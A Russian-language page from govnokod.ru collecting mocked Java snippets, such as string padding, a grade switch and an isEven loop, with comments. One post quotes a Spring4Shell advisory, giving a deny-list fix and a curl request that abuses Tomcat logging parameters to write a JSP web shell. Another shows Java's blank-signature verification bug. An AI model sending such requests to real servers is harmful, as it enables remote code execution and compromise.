- 1
- 2
- 3
- 4
- 5
- 6
- 7
public static String padRight(String s, int n) {
return String.format("%-" + n + "s", s);
}
public static String padLeft(String s, int n) {
return String.format("%" + n + "s", s);
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
−10
public static String padRight(String s, int n) {
return String.format("%-" + n + "s", s);
}
public static String padLeft(String s, int n) {
return String.format("%" + n + "s", s);
}
How can I pad a String in Java?
https://stackoverflow.com/questions/388461/how-can-i-pad-a-string-in-java/391978
Все ответы восхитительны в своей коричневости.
0
import java.security.*
var keys = KeyPairGenerator.getInstance("EC").generateKeyPair();
var blankSignature = new byte[64]; // zero bytes
var sig = Signature.getInstance("SHA256WithECDSAInP1363Format");
sig.initVerify(keys.getPublic());
sig.update("Hello, World".getBytes()); // anything
sig.verify(blankSignature); // true
Сказка о том, как джавушки переписали код с небезопасного языка на безопасный и помножили проверку подписей на ноль (в прямом смысле).
https://neilmadden.blog/2022/04/19/psychic-signatures-in-java/
0
import java.util.InputMismatchException;
import java.util.Scanner;
public class Main {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
try {
System.out.println("How many characters will be in the password? (1-256):");
short length = scanner.nextShort();
if (length > 256) {
System.out.println("Password can't be longer than 256 characters!");
} else if (length < 1) {
System.out.println("Password can't be less than 1 character long!");
} else {
System.out.println("How many passwords will be generated? (1-32)");
byte amount = scanner.nextByte();
if (amount > 32) {
System.out.println("You can't generate more than 32 passwords!");
} else if (amount < 1) {
System.out.println("You can't generate less than 1 password!");
} else {
for (byte i = 0; i < amount; i++) {
System.out.println("\n" + PasswordGenerator.generate(length));
}
}
}
} catch (InputMismatchException e) {
System.out.println("Input error!");
}
}
}
cringe
0
private void calculateOverallTime() {
if (overallTimeTimer.isTimeOut()) {
if (overallTime[0] <= 58) {
overallTime[0] += 1;
}
else {
overallTime[0] = 0;
if (overallTime[1] <= 58) {
overallTime[1] += 1;
}
else {
overallTime[1] = 0;
overallTime[2] += 1;
}
}
}
}
−1
package com.company;
import java.util.Scanner;
public class Main {
public static void main (String [] args) {
Scanner num = new Scanner(System.in);
int first;
System.out.print("Enter first num: ");
first = num.nextInt();
if (first==10)
System.out.print("Num is 10");
}
}
0
public static final String EMPTY = "";
Tan seme? Tan seme?!!
+1
public class Spot {
private Piece piece;
private int x;
private int y;
public Spot(int x, int y, Piece piece)
{
this.setPiece(piece);
this.setX(x);
this.setY(y);
}
public Piece getPiece() // метод возвращает объект фигуру
{
return this.piece;
}
public void setPiece(Piece p)
{
this.piece = p;
}
public int getX()
{
return this.x;
}
public void setX(int x)
{
this.x = x;
}
public int getY()
{
return this.y;
}
public void setY(int y)
{
this.y = y;
}
}
Дизайн шахматной игры
Эти виды вопросов задаются на интервью, чтобы судить о навыке объектно ориентированного дизайна кандидата. Итак, прежде всего, мы должны подумать о классах.
https://habr.com/ru/post/660003/
+1
import org.springframework.core.Ordered;
import org.springframework.core.annotation.Order;
import org.springframework.web.bind.WebDataBinder;
import org.springframework.web.bind.annotation.ControllerAdvice;
import org.springframework.web.bind.annotation.InitBinder;
@ControllerAdvice
@Order(10000)
public class BinderControllerAdvice {
@InitBinder
public void setAllowedFields(WebDataBinder dataBinder) {
String[] denylist = new String[]{"class.", "Class.", ".class.", ".Class."};
dataBinder.setDisallowedFields(denylist);
}
}
Критическая 0-day уязвимость в Spring Framework, применяемом во многих Java-проектах
Работа эксплоита сводится к отправке запроса с параметрами "class.module.classLoader.resources.cont ext.parent.pipeline.first.*", обработка которых при использовании "WebappClassLoaderBase" приводит к обращению к классу AccessLogValve. Указанный класс позволяет настроить логгер для создания произвольного jsp-файла в корневом окружении Apache Tomcat и записи в этот файл указанного атакующим кода. Созданный файл становится доступным для прямых запросов и может использоваться в качестве web shell. Для атаки на уязвимое приложение в окружении Apache Tomcat достаточно отправить запрос с определёнными параметрами при помощи утилиты curl.
curl -v -d "class.module.classLoader.resources.context.parent.pipeline
.first.pattern=код_для_вставки_в_файл
&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
http://localhost:8080/springmvc5-helloworld-exmaple-0.0.1-SNAPSHOT/rapid7
0
boolean isEven(int number) {
while (number > 2) {
number = number - 2;
}
if (number == 2) {
return true;
} else {
return false;
}
}
+1
public class ExampleW{
public static void main(){
Scanner input = new Scanner(System.in);
System.out.println("Give mark: ");
int mark = input.nextInt();
String Grade;
switch (mark){
case 100:
case 99:
case 98:
case 97:
case 96:
case 95:
case 94:
case 93:
case 92:
case 91:
case 90:{
Grade = "A+";
break;
}case 89:
case 88:
case 87:
case 86:
case 85:
case 84:
case 83:
case 82:
case 81:
case 80: {
Grade = "A";
break;
}case 75:
case 76:
case 77:
case 78:
case 79:{
Grade = "A-";
break;
}case 70:
case 71:
case 72:
case 73:
case 74:{
Grade ="B+";
break;
} case 69:
case 68:
case 67:
case 66:
case 65:{
Grade ="B";
break;
}
case 64:
case 63:
case 62:
case 61:
case 60:{
Grade = "C+";
break;
}case 50:
case 51:
case 52:
case 53:
case 54:
case 55:
case 56:
case 57:
case 58:
case 59: {
Grade = "C";
break;
}case 45:
case 46:
case 47:
case 48:
case 49:{
Grade = "D";
break;
}case 40:
case 41:
case 42:
case 43:
case 44:{
Grade = "E";
break;
}case 0:
case 1:
case 2:
case 3:
...
...
}default: {
Grade = "null";
break;
}}
}